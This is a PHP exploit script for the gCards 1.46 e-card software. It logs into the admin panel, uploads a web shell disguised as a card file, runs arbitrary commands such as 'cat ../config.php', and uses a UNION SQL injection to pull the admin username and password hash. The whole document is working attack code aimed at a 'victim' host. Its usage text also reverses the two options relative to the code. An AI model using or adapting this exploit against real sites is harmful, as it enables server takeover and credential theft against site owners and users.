gcards-sql-exec.txt

`#!/usr/bin/php -q -d short_open_tag=on  
<?php  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
if ($argc<4) {  
print "-------------------------------------------------------------------------\r\n";  
print " gCards <= 1.46 SQL Injection/Remote Code Execution Exploit\r\n";  
print "-------------------------------------------------------------------------\r\n";  
print "Usage: w4ck1ng_gcards.php [OPTION] [HOST] [PATH] ([USER] [PASS] [COMMAND])\r\n\r\n";  
print "[OPTION] = 0 = SQL Injection (Admin user & hash retrieval)\r\n";  
print " 1 = Remote Code Execution\r\n";  
print "[HOST] = Target server's hostname or ip address\r\n";  
print "[PATH] = Path where gCards is located\r\n";  
print "[USER] = Admin's username\r\n";  
print "[PASS] = Admin's password\r\n";  
print "[COMMAND] = Command to execute\r\n\r\n";  
print "e.g. w4ck1ng_gcards.php 0 victim.com /gcards/\r\n";  
print " w4ck1ng_gcards.php 1 victim.com /gcards/ username password \"ls -lia\"\r\n";  
print " w4ck1ng_gcards.php 1 victim.com /gcards/ username password \"cat ../config.php\"\r\n";  
print "-------------------------------------------------------------------------\r\n";  
print " http://www.w4ck1ng.com\r\n";  
print " ...Silentz\r\n";  
print "-------------------------------------------------------------------------\r\n";  
die;  
}  
  
  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
}  
  
function make_seed()  
{  
list($usec, $sec) = explode(' ', microtime());  
return (float) $sec + ((float) $usec * 100000);  
}  
  
$exploit = $argv[1];  
$host = $argv[2];  
$path = $argv[3];  
$user = $argv[4];  
$pass = $argv[5];  
$cmd = $argv[6];  
$cmd = urlencode($cmd);  
$port=80;$proxy="";  
  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
if ($exploit==0){  
  
print "-------------------------------------------------------------------------\r\n";  
print " gCards <= 1.46 SQL Injection/Remote Code Execution Exploit\r\n";  
print "-------------------------------------------------------------------------\r\n";  
  
echo "\r\n[+] Logging in...";  
  
$data="username=" . $user;  
$data.="&userpass=" . $pass;  
$packet ="POST " . $path . "admin/admin.php HTTP/1.1\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
  
sendpacketii($packet);  
  
if (strstr($html,"Authentication failed")){die("...Failed!\r\n"); exit();}  
else{echo "...Successful!\r\n";}  
$temp=explode("Set-Cookie: ",$html);  
$temp2=explode(" ",$temp[1]);  
$cookie=$temp2[0];  
  
$packet ="GET " . $path . "admin/cards.php HTTP/1.1\r\n";  
$packet.="Host: " . $host . "\r\n";  
$packet.="Cookie: " . $cookie . "\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
  
$temp3=explode("<option value=\"",$html);  
$temp4=explode("\"",$temp3[1]);  
  
$catid=$temp4[0];  
if ($catid=="") {$catid=1;}  
  
echo "[+] Uploading shell...";  
$data='-----------------------------7d73d8371d06d2  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
250000  
-----------------------------7d73d8371d06d2  
Content-Disposition: form-data; name="cardname"  
  
w4ck1ng  
-----------------------------7d73d8371d06d2  
Content-Disposition: form-data; name="catid"  
  
'.$catid.'  
-----------------------------7d73d8371d06d2  
Content-Disposition: form-data; name="userfile"; filename="w4ck1ng.php"  
Content-Type: application/octet-stream  
  
<?php echo "<font color=\"#FFFFFF\">...Silentz</font>";ini_set("max_execution_time",0);passthru($_GET[cmd]);echo "<font color=\"#FFFFFF\">...Silentz</font>";?>  
-----------------------------7d73d8371d06d2  
Content-Disposition: form-data; name="userthumb"; filename="w4ck1ng.php"  
Content-Type: application/octet-stream  
  
<?php echo "<font color=\"#FFFFFF\">...Silentz</font>";ini_set("max_execution_time",0);passthru($_GET[cmd]);echo "<font color=\"#FFFFFF\">...Silentz</font>";?>  
-----------------------------7d73d8371d06d2--  
';  
$packet ="POST " . $path . "admin/upload.php HTTP/1.1\r\n";  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d73d8371d06d2\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Cookie: " . $cookie . "\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
  
sendpacketii($packet);  
if (strstr($html,"successfully"))  
{echo "...Successful!\r\n";}  
else  
{die("...Failed!\r\n"); exit();}  
  
$packet ="GET " . $path . "admin/cards.php HTTP/1.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: " . $cookie . "\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
  
$temp=explode("w4ck1ng.php",$html);  
$temp2=explode("<td>",$temp[count($temp)-2]);  
$temp=$temp2[count($temp2)-1];  
$newfile=$temp."w4ck1ng.php";  
if ($newfile=="") {die("For some reason, exploit failed...");}  
  
echo "[+] Show time!!!\r\n\r\n";  
$packet ="GET " . $path . "images/".$newfile."?cmd=" . $cmd . " HTTP/1.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
  
if (strstr($html,"...Silentz"))  
{  
$temp=explode("...Silentz</font>",$html);  
$temp2=explode("<font color=\"#FFFFFF\">",$temp[1]);  
echo "===============================================================\r\n\r\n";  
echo $temp2[0];  
echo "\r\n===============================================================\r\n";  
echo "\r\n[+] Shell...http://" .$host.$path. "images/" . $newfile . "\r\n";  
  
print "-------------------------------------------------------------------------\r\n";  
print " http://www.w4ck1ng.com\r\n";  
print " ...Silentz\r\n";  
print "-------------------------------------------------------------------------\r\n";  
  
die;  
}  
  
else{die(); exit();}}  
  
if($exploit==1){  
  
$sql = "getnewsitem.php?newsid=999/**/UNION/**/SELECT/**/0,username,username,username,0/**/FROM/**/gc_cardusers/**/WHERE/**/userid=1/*";  
$packet ="GET " . $path . $sql . " HTTP/1.1\r\n";  
$packet.="Host: " . $host . "\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727;)\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
  
$temp = explode("<td><span class=\"bold\">",$html);  
$temp2 = explode("</span><br>",$temp[1]);  
$username = $temp2[0];  
  
if($username){  
  
print "-------------------------------------------------------------------------\r\n";  
print " gCards <= 1.46 SQL Injection/Remote Code Execution Exploit\r\n";  
print "-------------------------------------------------------------------------\r\n";  
  
echo "[+] Admin User: " . $username . "\r\n";}  
  
  
$sql = "getnewsitem.php?newsid=999/**/UNION/**/SELECT/**/0,userpass,userpass,userpass,0/**/FROM/**/gc_cardusers/**/WHERE/**/userid=1/*";  
$packet ="GET " . $path . $sql . " HTTP/1.1\r\n";  
$packet.="Host: " . $host . "\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727;)\r\n";  
$packet.="Connection: Close\r\n\r\n";  
  
sendpacketii($packet);  
$temp = explode("<td><span class=\"bold\">",$html);  
$temp2 = explode("</span><br>",$temp[1]);  
$password = $temp2[0];  
  
if($username){  
  
echo "[+] Admin Hash: " . $password . "\r\n";  
  
print "-------------------------------------------------------------------------\r\n";  
print " http://www.w4ck1ng.com\r\n";  
print " ...Silentz\r\n";  
print "-------------------------------------------------------------------------\r\n";  
}  
}  
?>  
`